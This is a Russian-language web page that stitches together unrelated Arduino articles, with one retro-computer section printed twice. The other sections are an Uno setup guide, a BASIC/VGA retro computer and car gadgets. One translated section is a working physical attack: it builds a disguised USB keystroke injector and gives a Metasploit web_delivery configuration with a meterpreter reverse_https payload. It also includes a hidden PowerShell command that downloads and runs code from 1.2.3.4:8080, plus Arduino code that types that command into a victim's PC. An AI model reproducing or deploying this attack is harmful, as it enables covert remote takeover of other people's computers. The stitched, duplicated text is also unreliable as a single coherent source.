Вы стали счастливым обладателем платы Arduino. Что же делать дальше? А дальше нужно подружить Arduino с компьютером. Мы рассмотрим начало работы с Arduino Uno в операционной системе Windows.
1. Установка Arduino IDE
Для начала нужно установить на компьютер интегрированную среду разработки Arduino - Arduino IDE.
Установка Arduino IDE с помощью инсталлятора избавит вас от большинства потенциальных проблем с драйверами и программным окружением.
2. Запуск Arduino IDE
После того как вы загрузили и установили Arduino IDE, давайте запустим её!
Перед нами окно Arduino IDE. Обратите внимание - мы ещё не подключали нашу плату Arduino Uno к компьютеру, а в правом нижнем углу уже красуется надпись «Arduino Uno on COM1». Таким образом Arduino IDE сообщает нам, что в данный момент она настроена на работу с целевой платой Arduino Uno. А когда придёт время, Arduino IDE будет искать Arduino Uno на порту COM1.
Позже мы поменяем эти настройки.
Что-то пошло не так?
Arduino IDE не запускается? Вероятно на компьютере некорректно установлена JRE (Java Runtime Environment). Обратитесь к пункту (1) для переустановки Arduino IDE: инсталлятор сделает всю работу по развёртыванию JRE.
3. Подключение Arduino к компьютеру
После установки Arduino IDE пришло время подключить Arduino Uno к компьютеру.
Соедините Arduino Uno с компьютером через USB-кабель. Вы увидите, как на плате загорится светодиод «ON», и начнёт мигать светодиод «L». Это означает, что на плату подано питание, и микроконтроллер Arduino Uno начал выполнять прошитую на заводе программу «Blink» (мигание светодиодом).
Чтобы настроить Arduino IDE на работу с Arduino Uno, нам необходимо узнать, какой номер COM-порта присвоил компьютер Arduino Uno. Для этого нужно зайти в «Диспетчер устройств» Windows и раскрыть вкладку «Порты (COM и LPT)». Мы должны увидеть следующую картину:
Это означает, что операционная система распознала нашу плату Arduino Uno как COM-порт, подобрала для неё правильный драйвер и назначила этому COM-порту номер 7. Если мы подключим к компьютеру другую плату Arduino, то операционная система назначит ей другой номер. Поэтому, если у вас несколько плат Arduino, очень важно не запутаться в номерах COM-портов.
Что-то пошло не так?
4. Настройка Arduino IDE на работу с Arduino Uno
Теперь нам необходимо сообщить Arduino IDE, что плата, с которой ей предстоит общаться, находится на COM-порту «COM7».
Для этого переходим в меню «Сервис» → «Последовательный порт» и выбираем порт «COM7». Теперь Arduino IDE знает - что-то находится на порту «COM7». И с этим «чем-то» ей вскоре предстоит общаться.
Чтобы у Arduino IDE не осталось никаких сомнений, необходимо прямо указать: «Мы будем использовать Arduino Uno!». Для этого переходим в меню «Сервис» → «Плата» и выбираем нашу «Arduino Uno».
Что-то пошло не так?
Список последовательных портов пуст? Значит Arduino Uno некорректно подключена. Вернитесь к пункту (3), чтобы отладить соединение.
Arduino IDE невероятно тормозит при навигации по меню? Отключите в диспетчере устройств все внешние устройства типа «Bluetooth Serial». Например, виртуальное устройство для соединения с мобильным телефоном по Bluetooth может вызвать такое поведение.
Среда настроена, плата подключена. Теперь можно переходить к загрузке скетча.
Arduino IDE содержит очень много готовых примеров, в которых можно быстро подсмотреть решение какой-либо задачи. Есть в ней и простой пример «Blink». Давайте выберем его.
Немного модифицируем код, чтобы увидеть разницу с заводским миганием светодиода.
Вместо строчки:
Delay(1000 ) ;
Delay(100 ) ;
Полная версия кода:
/* Blink Turns on an LED on for one second, then off for one second, repeatedly. This example code is in the public domain. */ // Pin 13 has an LED connected on most Arduino boards. // give it a name: int led = 13 ; // the setup routine runs once when you press reset: void setup() { // initialize the digital pin as an output. pinMode(led, OUTPUT) ; } // the loop routine runs over and over again forever: void loop() { digitalWrite(led, HIGH) ; // turn the LED on (HIGH is the voltage level) delay(100 ) ; // wait for a second digitalWrite(led, LOW) ; // turn the LED off by making the voltage LOW delay(100 ) ; // wait for a second }Теперь светодиод «L» должен загораться и гаснуть на десятую часть секунды. То есть в 10 раз быстрее, чем в заводской версии.
Загрузим наш скетч в Arduino Uno и проверим, так ли это? После загрузки светодиод начнёт мигать быстрее. Это значит, что всё получилось. Теперь можно смело переходить к «Экспериментам »
Что-то пошло не так?
В результате загрузки появляется ошибка вида avrdude: stk500_get sync(): not in sync: resp = 0x00 ? Это значит, что Arduino настроена некорректно. Вернитесь к предыдущим пунктам, чтобы убедиться в том, что устройство было распознано операционной системой и в Arduino IDE установлены правильные настройки для COM-порта и модели платы.
C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.
Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.
Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.
Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.
Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.
1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой
TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.
Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».
Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.
В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.
И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).
Для примера, можно набрать:
10 PRINT "Hello, World!"
20 GOTO 10
RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).
Теперь подключим PS/2 клавиатуру.
2. Подключаем PS/2 клавиатуру к основному Arduino
Информация и библиотека были взяты из этого материала.По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.
Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.
Распиновка PS/2 разъема есть на рисунке:
3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным
Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.
Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.
ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.
Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).
Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.
Для этого нужно:
- два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
- разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
- резисторы: 2 на 68 Ом и 2 на 470 Ом
- разъем PS2
- провода
- необязательно: макетная плата
Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!
Видео, как это всё работает:
10 октября 2017 в 21:09
Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino
- DIY или Сделай сам
- Перевод
Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.
Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5 , на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток - вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.
Мы используем 5V Adafruit Trinket и кабель microUSB - вот и всё, что нам понадобится.
К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.
#include
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
#include
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
#include
Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery . Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.
Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.
Нужно сказать нашей программе, откуда брать бинарники:
Set LPORT 443
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.
Set URIPATH /
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.
Set PAYLOAD windows/meterpreter/reverse_https
И наконец exploit .
Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.
Use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Получаем полезную нагрузку для запуска на компьютере жертвы:
Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");
Теперь можем запустить это с флэшки.
#include
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.
Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам - всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.
Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд - это немалое время, особенно когда прячешься от драконов.
Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
#include "Keyboard.h"
void winRun() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
delay(30);
Keyboard.releaseAll();
delay(100);
}
void setup() {
Keyboard.begin();
delay(2000);
winRun();
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/");");
Keyboard.write(KEY_RETURN);
}
void loop() {
// put your main code here, to run repeatedly:
}
Самое большое преимущество Pro Micro - это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.
Технологии не стоят на месте и сегодня автолюбителям предлагается множество различных вариантов для совершенствования своих «железных коней». Одним из таковых является Arduino. Это устройство представляет собой инструмент, использующийся для проектирования электронных устройств. В случае с автомобилем проектирование обычно осуществляется на лобовое стекло. Как сделать бортовой компьютер на Arduino и как его правильно настроить — читайте в этой статье.
[ Скрыть ]
Идеи для авто на основе маленькой платы с маленьким процессором — Arduino
Компы давно и плотно вошли в нашу жизнь. Аппаратная платформа Arduino — это одна из последних разработок с открытым программным кодом, которая построена на обычной печатной схеме. Подробнее о том, как с помощью такой платы сделать разные устройства для авто, мы расскажем далее.
БК
С помощью платы Arduino можно соорудить автомобильный бортовой компьютер, который сможет:
- рассчитать расход горючего;
- вывести информацию о температуре антифриза;
- рассчитать скорость движения, а также расстояние поездки;
- вывести потраченное горючее за определенный километраж;
- определить обороты мотора и т.д (автор видео — канал Arduino Tech PTZ).
Помимо устройства Arduino вам также потребуется жидкокристаллический модуль, адаптер Блютуз НС-05, а также сканер ELM327 и резисторное устройство на 10 кОм. Разумеется, необходимо приготовить и звуковой индикатор, монтажные провода и сам корпус устройства.
Процедура сборки осуществляется следующим образом:
- Сначала настраиваем Блютуз адаптер. К пинам устройства нужно припаять провода — к двум нижним и верхним контактам.
- Сам модуль подключается к плате для настройки, для этого необходимо открыть программу Arduino IDE 1.0.6 или любую другую версию, после его залить скетч в схему через USB-выход.
- Когда загрузка будет завершена, нужно зайти в меню Сервис — Монитор порта и выставить скорость 9600.
- Затем собирается схема с платой, адаптером и заранее подготовленным дисплеем. Сначала подключается Блютуз адаптер.
- После этого в схему добавляется дисплей. Более подробное описание подключения вы найдете на фото ниже.
- Резисторный элемент на 10 кОм используется для управления яркостью и контрастностью дисплея. Поэтому при первом подключении вы можете заметить, что изображения нет, если это так, то его нужно просто настроить путем поворота резистора.
- Далее, производится подключение дополнительной клавиши, которая будет выполнять функцию переключения экранов с информацией. Один контакт от кнопки идет к элементу GND, второй — к контакту 10. Чтобы подключить бипер, плюсовой контакт соединяется с 13 пином, а минусовой — с GND.
- Затем, используя то же программное обеспечение Arduino IDE 1.0.6, нужно залить скетч. Теперь вам остается только настроить бортовой компьютер и подключить его к автомобилю.
Фотогалерея «Схема подключения БК»
GPS-трекер
Чтобы собрать GPS-трекер на базе Arduino, вам потребуется:
- сама плата, процесс описан на примере модели Mega 2560;
- модуль GSM/GPRS, который будет использоваться для передачи данных на сервер;
- а также Arduino GPS-приемник, в примере мы рассмотрим модель SKM53 (автор видео об изготовлении трекера на примере платы SIM 808 — канал Alex Vas).
Как производится подключение схемы:
- Сначала осуществляется подключение модуля к основной плате, по умолчанию установлена скорость передачи данных 115200.
- После подключения нужно включить девайс и установить одинаковую скорость для всех портов — как последовательных, так и программных.
- GSM передатчик подключается к контактам 7 и 8 на основной микросхеме.
- Затем производится настройка модуля путем ввода команд. Все команды мы описывать не будем, их и так можно найти в Интернете без проблем. Рассмотрим только самые основные. AT+SAPBR=3,1,«CONTYPE»,«GPRS» — команда определяет тип подключения, в данном случае это GPRS. AT+SAPBR=3,1,«APN»,«internet.***.ru», где *** — это адрес оператора мобильной сети, который будет использоваться. AT+HTTPINIT — по этой команде производится инициализация HTTP.
- Нужно отметить один нюанс — при написании серверной составляющей интерфейса, желательно предусмотреть прием и выведение данных для нескольких адаптеров. Нужно установить переключатель на три позиции, это даст возможность получать данные от восьми автомобилей.
- Затем производится написание скетча на микросхеме. Сам скетч также можно найти в Сети, писать его необязательно. Учтите, если будут использоваться два активных последовательных порта, это может привести к ошибкам в передачи и отправке информации.
Парктроник
Чтобы соорудить парктроник, вам потребуются такие составляющие:
- сама микросхема;
- ультразвуковое устройство, в данном случае это дальномер HC-SR04:
- шесть светодиодных элементов;
- шесть резисторных элементов сопротивлением на 220 Ом;
- соединительные провода типа «папа-папа»;
- пьезодинамический элемент;
- макетная схема для сборки.
Процедура сборки выглядит следующим образом:
- Для начала на макетной схеме необходимо установить светодиодные элементы, подготовленные заранее. Отрицательный контакт у всех светодиодов будет общим. Короткий контакт — катод — следует подключить к отрицательной шине, которая имеется на макетной плате.
- К более длинным контактам диодов, то есть анодам, необходимо подключить резисторные элементы на 200 Ом, если вы не будете их использовать, это приведет к перегоранию диодов.
- На центральной части производится монтаж ультразвукового устройства. На этом контроллере есть четыре контакта. Vcc — это контакт питания на пять вольт, Echo — это выходной контакт, Trig — это вход, а GND — это заземление.
- После того, как дальномер будет установлен, к его выходам следует подключить проводку. В частности, контакт Echo подключается к выходу 13, Trig — к 12 контакту. GND, соответственно, необходимо соединить с заземлением, которое имеется на схеме контроллера, а оставшийся выход Vcc соединяется с 5-вольтовым питанием на плате Arduino.
- После выполнения этих действий нужно соединить проводку с контактами резисторных элементов. А также они подключаются последовательным образом к пинам на плате — используются пины от 2 до 7.
- Следующим этапом будет подключение пьезопищалки, которая и будет предупреждать водителя о приближении к препятствию. Минусовой выход, как вариант, можно будет объединить с отрицательным контактом установленного ранее дальномера. Что касается положительного контакта, то он соединяется с пином под номером 11 на микросхеме.
- Для того, чтобы устройство в конечном итоге работало в нормальном режиме, дополнительно нужно будет написать, после чего загрузить код программы в плату. В этом коде необходимо точно указать дистанцию, при приближении к которой начнут загораться диодные элементы и будет срабатывать пищалка. Причем тональность пищалки должна быть разной, чтобы водитель мог узнать, когда приближение к препятствию будет критическим. Сам код либо пишется самостоятельно, либо берется уже готовый вариант из Интернета. Вариантов скетчей очень много, вам нужно только выбрать наиболее подходящий для вашего устройства (автор видео — канал Arduino Prom).
Заключение
Как видите, микроплата Arduino — это универсальный вариант, с помощью которого можно создать множество различных девайсов. Помимо вышеописанных устройств, вы также можете соорудить спидометр, который будет выдавать информацию о скорости прямо на лобовое стекло, кнопку старт-стоп, и даже сигнализацию для транспортного средства. В целом вариантов очень много, если подойти к вопросу изготовления самодельного гаджета правильно, то у вас все получится.
Разумеется, для этого вы должны обладать знаниями в области электроники и электротехнике, при этом минимальных навыков, вероятнее всего, будет недостаточно. При изготовлении девайсов вам придется принимать собственные решения, о чем в Интернете может и не быть информации. Поэтому будьте готовы к тому, что процесс сборки может занять достаточно долгое время.
Видео «Как соорудить систему управления электродвигателем печки?»
Из видео ниже вы сможете узнать, как обустроить климат-контроль путем доработки регулятора отопительной системе на примере автомобиля ВАЗ 2115 (автор ролика — Иван Никульшин).
C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.
Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.
Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.
Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.
Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.
1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой
TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.
Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».
Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.
В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.
И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).
Для примера, можно набрать:
10 PRINT "Hello, World!"
20 GOTO 10
RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).
Теперь подключим PS/2 клавиатуру.
2. Подключаем PS/2 клавиатуру к основному Arduino
Информация и библиотека были взяты из этого материала.По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.
Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.
Распиновка PS/2 разъема есть на рисунке:
3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным
Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.
Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.
ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.
Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).
Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.
Для этого нужно:
- два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
- разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
- резисторы: 2 на 68 Ом и 2 на 470 Ом
- разъем PS2
- провода
- необязательно: макетная плата
Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!
Видео, как это всё работает: